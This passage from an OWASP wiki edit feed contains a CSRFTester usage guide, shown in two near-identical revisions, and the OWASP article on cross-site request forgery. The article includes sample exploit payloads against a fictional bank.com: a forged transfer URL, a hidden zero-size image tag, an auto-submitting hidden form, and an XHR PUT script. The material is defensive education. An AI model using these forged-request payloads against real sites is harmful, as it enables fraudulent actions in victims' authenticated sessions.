CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. It's hosted at: http://sec101.sourceforge.net/CAL9000/&lt;br /&gt;
&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://yehg.net/encoding&lt;br /&gt;
PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads.  &lt;br /&gt;
&lt;br /&gt;
* '''HackVector(HVR)''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CSRFTester_Usage&amp;diff=191131</id>
		<title>CSRFTester Usage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CSRFTester_Usage&amp;diff=191131"/>
				<updated>2015-03-10T15:51:55Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
&lt;br /&gt;
The following article describes how to utilize the OWASP CSRFTester to generate test cases during an application security assessment.&lt;br /&gt;
&lt;br /&gt;
To download the tool, please visit the [[:Category:OWASP_CSRFTester_Project OWASP|CSRFTester project page]].&lt;br /&gt;
&lt;br /&gt;
== Quick Steps ==&lt;br /&gt;
&lt;br /&gt;
An outline of the steps necessary to launch and utilize the CSRFTester:&lt;br /&gt;
&lt;br /&gt;
::# Update the JAVA_HOME environment variable in run.bat.&lt;br /&gt;
::# Double-click run.bat.&lt;br /&gt;
::# Configure your browser to proxy through CSRFTester.&lt;br /&gt;
::# Record the execution of a business function.&lt;br /&gt;
::# Modify the parameters of the recorded business function.&lt;br /&gt;
::# Generate an HTML report that carries out the business function.&lt;br /&gt;
::# In a separate browser window (and with a separate user), view the generated HTML file.&lt;br /&gt;
&lt;br /&gt;
If the action was successfully carried out, then the application is vulnerable to CSRF.&lt;br /&gt;
&lt;br /&gt;
== Full Steps ==&lt;br /&gt;
&lt;br /&gt;
=== Launch OWASP CSRFTester ===&lt;br /&gt;
&lt;br /&gt;
The CSRFTester distribution contains three files:&lt;br /&gt;
&lt;br /&gt;
# run.bat&lt;br /&gt;
# OWASP-CSRFTester-1.0.jar&lt;br /&gt;
# lib\concurrent.jar&lt;br /&gt;
&lt;br /&gt;
The run.bat script configures the classpath to include the required jars and invokes the appropriate main class. Currently, the batch script assumes your JDK runtime exists under &amp;lt;code&amp;gt;C:\AppSecWorkbench\jdk16\jre&amp;lt;/code&amp;gt;. Obviously, this will not be the correct location of your JVM. Make sure you '''update the JAVA_HOME environment variable''' in run.bat before attempting to execute the batch file. Assuming proper configuration, executing run.bat should launch CSRFTester. If an error occurs, evident when the command line interface quickly disappears, consider opening up a separate CLI and CD directly to the folder of your run.bat file and execute it via command line. Any errors that may occur will display to stdout.&lt;br /&gt;
&lt;br /&gt;
=== Record Execution of Business Functions ===&lt;br /&gt;
&lt;br /&gt;
Once the CSRFTester loads successfully, we must record a transaction that we want to test for CSRF. First, configure the browser to proxy all HTTP traffic through CSRFTester. We can configure this proxy behavior in IE using the Tools menu: Select Tools &amp;gt; Internet Options &amp;gt; Connections &amp;gt; LAN Settings will display the proxy configuration dialog.&lt;br /&gt;
&lt;br /&gt;
[[Image:IE Proxy.PNG]]&lt;br /&gt;
&lt;br /&gt;
CSRFTester defaults to using port 8008 on localhost for its proxy. You need to configure IE to relay requests to CSRFTester, rather than fetching them itself, as shown in the above image. Make sure that all checkboxes are unchecked, except for &amp;quot;Use a proxy server&amp;quot;. Once you have configured IE to use the proxy, select Ok on all dialogs to get back to the browser. Browse to a non-SSL website, and then switch to CSRFTester.&lt;br /&gt;
&lt;br /&gt;
If the proxy was successfully configured, CSRFTester will generate debug messages to stdout for all subsequent HTTP requests generated by your browser. At this point, we need to locate a particular business function that we want to test for CSRF. Browse to the page where the business function (or functions) are first &amp;quot;loaded&amp;quot;. Once this page is located, select the &amp;quot;Start Recording&amp;quot; button in CSRFTester and execute the business function or functions. Once complete, click the &amp;quot;Stop Recording&amp;quot; button within CSRFTester. You'll notice that the list on the main screen now has a series of requests recorded. These are all of the GET/POST requests generated by our browser while executing the business function(s). By selecting one of the rows in the list, we now have the ability to modify the parameters that were used to execute the business function. We can modify the &amp;quot;query string&amp;quot; parameters and &amp;quot;form&amp;quot; parameters through their respective panes on the bottom half of the screen. Note that these are the values we wish to trick the end user into submitting. Once all of the parameters have been modified to contain your desired values, we are now ready to begin generating HTML reports.&lt;br /&gt;
&lt;br /&gt;
=== Generate HTML Reports ===&lt;br /&gt;
&lt;br /&gt;
The HTML reports generated by the CSRFTester tool are used to carry out the CSRF test cases against other users of the web application. To generate a report, we first must select a &amp;quot;report type&amp;quot;. The report type determines how we want the victims browser to submit the previously recorded requests. There currently exists 5 possible reports: forms, iFrame, IMG, XHR, and Link. &lt;br /&gt;
&lt;br /&gt;
 '''Forms''': This report type will submit the request(s) using auto-posting forms&lt;br /&gt;
 '''iFrame''': This report type will submit the request(s) using and auto-submitting iframe tag.&lt;br /&gt;
 '''IMG''': This report will submit the request(s) using the &amp;lt;img src=&amp;quot;...&amp;quot;/&amp;gt; tag&lt;br /&gt;
 '''XHR''': This report will submit the request(s) using XMLHttpRequest. Note that this is subject to the same origin policy.&lt;br /&gt;
 '''Link''': This report will submit the request(s) when the user clicks a link.&lt;br /&gt;
&lt;br /&gt;
Once a report type is selected, you can optionally launch the newly generated report in your browser. To enable/disable this option, check/uncheck the &amp;quot;Display in Browser&amp;quot; checkbox next to the &amp;quot;Generate HTML&amp;quot; button in the bottom right-hand corner. Finally, we can click the &amp;quot;Generate HTML&amp;quot; button to create the HTML report that will submit our recorded (and possibly modified) actions. To carry out the test case, open a new browser instance, authenticate as another user with access to the same business function(s), and have that user/browser launch the newly created HTML report file. If the action was carried out after viewing the file in the same browser window that was used to authenticate the new user (i.e. the victim), then that particular business function is vulnerable to cross-site request forgery.&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=CSRFTester_Usage&amp;diff=191130</id>
		<title>CSRFTester Usage</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=CSRFTester_Usage&amp;diff=191130"/>
				<updated>2015-03-10T15:51:43Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Some minor tidying.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Overview ==&lt;br /&gt;
&lt;br /&gt;
The following article describes how to utilize the OWASP CSRFTester to generate test cases during an application security assessment.&lt;br /&gt;
&lt;br /&gt;
To download the tool, please visit the [[:Category:OWASP_CSRFTester_Project OWASP CSRFTester project page]].&lt;br /&gt;
&lt;br /&gt;
== Quick Steps ==&lt;br /&gt;
&lt;br /&gt;
An outline of the steps necessary to launch and utilize the CSRFTester:&lt;br /&gt;
&lt;br /&gt;
::# Update the JAVA_HOME environment variable in run.bat.&lt;br /&gt;
::# Double-click run.bat.&lt;br /&gt;
::# Configure your browser to proxy through CSRFTester.&lt;br /&gt;
::# Record the execution of a business function.&lt;br /&gt;
::# Modify the parameters of the recorded business function.&lt;br /&gt;
::# Generate an HTML report that carries out the business function.&lt;br /&gt;
::# In a separate browser window (and with a separate user), view the generated HTML file.&lt;br /&gt;
&lt;br /&gt;
If the action was successfully carried out, then the application is vulnerable to CSRF.&lt;br /&gt;
&lt;br /&gt;
== Full Steps ==&lt;br /&gt;
&lt;br /&gt;
=== Launch OWASP CSRFTester ===&lt;br /&gt;
&lt;br /&gt;
The CSRFTester distribution contains three files:&lt;br /&gt;
&lt;br /&gt;
# run.bat&lt;br /&gt;
# OWASP-CSRFTester-1.0.jar&lt;br /&gt;
# lib\concurrent.jar&lt;br /&gt;
&lt;br /&gt;
The run.bat script configures the classpath to include the required jars and invokes the appropriate main class. Currently, the batch script assumes your JDK runtime exists under &amp;lt;code&amp;gt;C:\AppSecWorkbench\jdk16\jre&amp;lt;/code&amp;gt;. Obviously, this will not be the correct location of your JVM. Make sure you '''update the JAVA_HOME environment variable''' in run.bat before attempting to execute the batch file. Assuming proper configuration, executing run.bat should launch CSRFTester. If an error occurs, evident when the command line interface quickly disappears, consider opening up a separate CLI and CD directly to the folder of your run.bat file and execute it via command line. Any errors that may occur will display to stdout.&lt;br /&gt;
&lt;br /&gt;
=== Record Execution of Business Functions ===&lt;br /&gt;
&lt;br /&gt;
Once the CSRFTester loads successfully, we must record a transaction that we want to test for CSRF. First, configure the browser to proxy all HTTP traffic through CSRFTester. We can configure this proxy behavior in IE using the Tools menu: Select Tools &amp;gt; Internet Options &amp;gt; Connections &amp;gt; LAN Settings will display the proxy configuration dialog.&lt;br /&gt;
&lt;br /&gt;
[[Image:IE Proxy.PNG]]&lt;br /&gt;
&lt;br /&gt;
CSRFTester defaults to using port 8008 on localhost for its proxy. You need to configure IE to relay requests to CSRFTester, rather than fetching them itself, as shown in the above image. Make sure that all checkboxes are unchecked, except for &amp;quot;Use a proxy server&amp;quot;. Once you have configured IE to use the proxy, select Ok on all dialogs to get back to the browser. Browse to a non-SSL website, and then switch to CSRFTester.&lt;br /&gt;
&lt;br /&gt;
If the proxy was successfully configured, CSRFTester will generate debug messages to stdout for all subsequent HTTP requests generated by your browser. At this point, we need to locate a particular business function that we want to test for CSRF. Browse to the page where the business function (or functions) are first &amp;quot;loaded&amp;quot;. Once this page is located, select the &amp;quot;Start Recording&amp;quot; button in CSRFTester and execute the business function or functions. Once complete, click the &amp;quot;Stop Recording&amp;quot; button within CSRFTester. You'll notice that the list on the main screen now has a series of requests recorded. These are all of the GET/POST requests generated by our browser while executing the business function(s). By selecting one of the rows in the list, we now have the ability to modify the parameters that were used to execute the business function. We can modify the &amp;quot;query string&amp;quot; parameters and &amp;quot;form&amp;quot; parameters through their respective panes on the bottom half of the screen. Note that these are the values we wish to trick the end user into submitting. Once all of the parameters have been modified to contain your desired values, we are now ready to begin generating HTML reports.&lt;br /&gt;
&lt;br /&gt;
=== Generate HTML Reports ===&lt;br /&gt;
&lt;br /&gt;
The HTML reports generated by the CSRFTester tool are used to carry out the CSRF test cases against other users of the web application. To generate a report, we first must select a &amp;quot;report type&amp;quot;. The report type determines how we want the victims browser to submit the previously recorded requests. There currently exists 5 possible reports: forms, iFrame, IMG, XHR, and Link. &lt;br /&gt;
&lt;br /&gt;
 '''Forms''': This report type will submit the request(s) using auto-posting forms&lt;br /&gt;
 '''iFrame''': This report type will submit the request(s) using and auto-submitting iframe tag.&lt;br /&gt;
 '''IMG''': This report will submit the request(s) using the &amp;lt;img src=&amp;quot;...&amp;quot;/&amp;gt; tag&lt;br /&gt;
 '''XHR''': This report will submit the request(s) using XMLHttpRequest. Note that this is subject to the same origin policy.&lt;br /&gt;
 '''Link''': This report will submit the request(s) when the user clicks a link.&lt;br /&gt;
&lt;br /&gt;
Once a report type is selected, you can optionally launch the newly generated report in your browser. To enable/disable this option, check/uncheck the &amp;quot;Display in Browser&amp;quot; checkbox next to the &amp;quot;Generate HTML&amp;quot; button in the bottom right-hand corner. Finally, we can click the &amp;quot;Generate HTML&amp;quot; button to create the HTML report that will submit our recorded (and possibly modified) actions. To carry out the test case, open a new browser instance, authenticate as another user with access to the same business function(s), and have that user/browser launch the newly created HTML report file. If the action was carried out after viewing the file in the same browser window that was used to authenticate the new user (i.e. the victim), then that particular business function is vulnerable to cross-site request forgery.&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=191123</id>
		<title>Cross-Site Request Forgery (CSRF)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=191123"/>
				<updated>2015-03-10T14:56:16Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Tidying up. No factual changes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues|review code for CSRF vulnerabilities]].&lt;br /&gt;
&lt;br /&gt;
===How to Test for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OTG-SESS-005)|test for CSRF vulnerabilities]].&lt;br /&gt;
&lt;br /&gt;
===How to Prevent CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[CSRF Prevention Cheat Sheet]] for prevention measures.&lt;br /&gt;
&lt;br /&gt;
Listen to the [http://www.owasp.org/download/jmanico/owasp_podcast_69.mp3 OWASP Top Ten CSRF Podcast].&lt;br /&gt;
&lt;br /&gt;
Most frameworks have built-in CSRF support such as [http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms Joomla], [http://blog.eyallupu.com/2012/04/csrf-defense-in-spring-mvc-31.html Spring], [http://web.securityinnovation.com/appsec-weekly/blog/bid/84318/Cross-Site-Request-Forgery-CSRF-Prevention-Using-Struts-2 Struts], [http://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf Ruby on Rails], [http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html .NET] and others.&lt;br /&gt;
&lt;br /&gt;
Use [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]] to add CSRF protection to your Java applications. You can use [[CSRFProtector Project]] to protect your php applications or any project deployed using Apache Server . There is a [[.Net CSRF Guard]] at OWASP as well, but its old and doesn't look complete.&lt;br /&gt;
&lt;br /&gt;
John Melton also has an [http://www.jtmelton.com/2010/05/16/the-owasp-top-ten-and-esapi-part-6-cross-site-request-forgery-csrf/ excellent blog post] describing how to use the native anti-CSRF functionality of the [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI].&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.&lt;br /&gt;
&lt;br /&gt;
CSRF attacks target functionality that causes a state change on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.&lt;br /&gt;
&lt;br /&gt;
It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called &amp;quot;stored CSRF flaws&amp;quot;. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet.  The likelihood is also increased because the victim is sure to be authenticated to the site already.&lt;br /&gt;
&lt;br /&gt;
=== Synonyms ===&lt;br /&gt;
&lt;br /&gt;
CSRF attacks are also known by a number of other names, including XSRF, &amp;quot;Sea Surf&amp;quot;, Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.&lt;br /&gt;
&lt;br /&gt;
=== Prevention measures that do '''NOT''' work ===&lt;br /&gt;
&lt;br /&gt;
;Using a secret cookie&lt;br /&gt;
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.&lt;br /&gt;
&lt;br /&gt;
;Only accepting POST requests&lt;br /&gt;
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious POST request, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted on the attacker's website composed entirely of hidden fields. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===How does the attack work?===&lt;br /&gt;
&lt;br /&gt;
There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the ''bank.com'' web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to her instead. The attack will comprise the following steps:&lt;br /&gt;
&lt;br /&gt;
# building an exploit URL or script&lt;br /&gt;
# tricking Alice into executing the action with [[Social Engineering|social engineering]]&lt;br /&gt;
&lt;br /&gt;
====GET scenario====&lt;br /&gt;
&lt;br /&gt;
If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:&lt;br /&gt;
&lt;br /&gt;
 GET &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=BOB&amp;amp;amount=100&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice's account to her account. She takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The [[Social Engineering|social engineering]] aspect of the attack tricks Alice into loading this URL when she's logged into the bank application. This is usually done with one of the following techniques:&lt;br /&gt;
&lt;br /&gt;
* sending an unsolicited email with HTML content&lt;br /&gt;
* planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking&lt;br /&gt;
&lt;br /&gt;
The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;a href=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot;&amp;gt;View my Pictures!&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Or as a 0x0 fake image:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;img src=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot; width=&amp;quot;0&amp;quot; height=&amp;quot;0&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this image tag were included in the email, Alice wouldn't see anything. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.&lt;br /&gt;
&lt;br /&gt;
A real life example of CSRF attack on an application using GET was a [http://xs-sniper.com/blog/2008/04/21/csrf-pwns-your-box/ uTorrent exploit] from 2008 that was used on a mass scale to download malware.&lt;br /&gt;
&lt;br /&gt;
====POST scenario====&lt;br /&gt;
&lt;br /&gt;
The only difference between GET and POST attacks is how the attack is being executed by the victim. Let's assume the bank now uses POST and the vulnerable request looks like this:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
 &lt;br /&gt;
 acct=BOB&amp;amp;amount=100&lt;br /&gt;
&lt;br /&gt;
Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;form action=&amp;quot;&amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt;&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;acct&amp;quot; value=&amp;quot;MARIA&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;100000&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;View my pictures&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;body onload=&amp;quot;document.forms[0].submit()&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;form...&lt;br /&gt;
 &lt;br /&gt;
====Other HTTP methods====&lt;br /&gt;
&lt;br /&gt;
Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let's assume the vulnerable bank uses PUT that takes a JSON block as an argument:&lt;br /&gt;
&lt;br /&gt;
 PUT &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
 &lt;br /&gt;
 { &amp;quot;acct&amp;quot;:&amp;quot;BOB&amp;quot;, &amp;quot;amount&amp;quot;:100 }&lt;br /&gt;
&lt;br /&gt;
Such requests can be executed with JavaScript embedded into an exploit page:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 function put() {&lt;br /&gt;
 	var x = new XMLHttpRequest();&lt;br /&gt;
 	x.open(&amp;quot;PUT&amp;quot;,&amp;quot;&amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt;&amp;quot;,true);&lt;br /&gt;
 	x.setRequestHeader(&amp;quot;Content-Type&amp;quot;, &amp;quot;application/json&amp;quot;); &lt;br /&gt;
 	x.send(JSON.stringify('{&amp;quot;acct&amp;quot;:&amp;quot;BOB&amp;quot;, &amp;quot;amount&amp;quot;:100}')); &lt;br /&gt;
 }&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
 &amp;lt;body onload=&amp;quot;put()&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Fortunately, this request will '''not''' be executed by modern web browsers thanks to [[Same-Origin Policy|same-origin policy]] restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker's (or everyone's) origin by using [[HTML5 Security Cheat Sheet#Cross_Origin_Resource_Sharing|CORS]] with the following header:&lt;br /&gt;
&lt;br /&gt;
 Access-Control-Allow-Origin: *&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&amp;lt;!--==Related [[Vulnerabilities]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as &amp;quot;form keys&amp;quot;. Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection &amp;quot;built-in&amp;quot; to every form so the programmer does not need to code this protection manually.&lt;br /&gt;
* Add a hash (session id, function name, server-side secret) to all forms.&lt;br /&gt;
* For .NET, add a session identifier to ViewState with MAC (described in detail in [[Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet#Viewstate_(ASP.NET) | the CSRF Prevention Cheat Sheet]]).&lt;br /&gt;
* Checking the referrer header in the client's HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.&lt;br /&gt;
** XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the [http://en.wikipedia.org/wiki/Samy_%28computer_worm%29 Samy worm] used an [[XHR]] to obtain the CSRF token to forge requests.&lt;br /&gt;
* &amp;quot;Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session.&amp;quot; --http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1&lt;br /&gt;
* [[Tokenizing]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]&lt;br /&gt;
: ''quote: &amp;quot;This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]&lt;br /&gt;
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)&lt;br /&gt;
&lt;br /&gt;
* [http://www.darkreading.com/document.asp?doc_id=107651&amp;amp;WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']&lt;br /&gt;
: Overview Paper&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]&lt;br /&gt;
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]&lt;br /&gt;
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.&lt;br /&gt;
&lt;br /&gt;
* [http://owasp.org/index.php/CSRFProtector_Project OWASP CSRF Protector]&lt;br /&gt;
: a new anti CSRF method to mitigate CSRF in web applications. Currently implemented as a php library &amp;amp; Apache 2.x.x module&lt;br /&gt;
&lt;br /&gt;
* [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf A Most-Neglected Fact About Cross Site Request Forgery (CSRF)  ]&lt;br /&gt;
: Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]&lt;br /&gt;
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.&lt;br /&gt;
&lt;br /&gt;
* [http://code.google.com/p/pinata-csrf-tool/ Pinata-CSRF-Tool: CSRF POC tool]&lt;br /&gt;
: Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Embedded Malicious Code]]&lt;br /&gt;
[[Category:Spoofing]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Christina_Schelin&amp;diff=185499</id>
		<title>User:Christina Schelin</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Christina_Schelin&amp;diff=185499"/>
				<updated>2014-11-17T16:15:03Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I am a security analyst working in New York. I'm looking to automate testing certain types of web security for my company.&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Risk_Rating_Methodology&amp;diff=182591</id>
		<title>OWASP Risk Rating Methodology</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Risk_Rating_Methodology&amp;diff=182591"/>
				<updated>2014-09-19T20:23:15Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Just some tidying, no information changes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==The OWASP Risk Rating Methodology== &lt;br /&gt;
&lt;br /&gt;
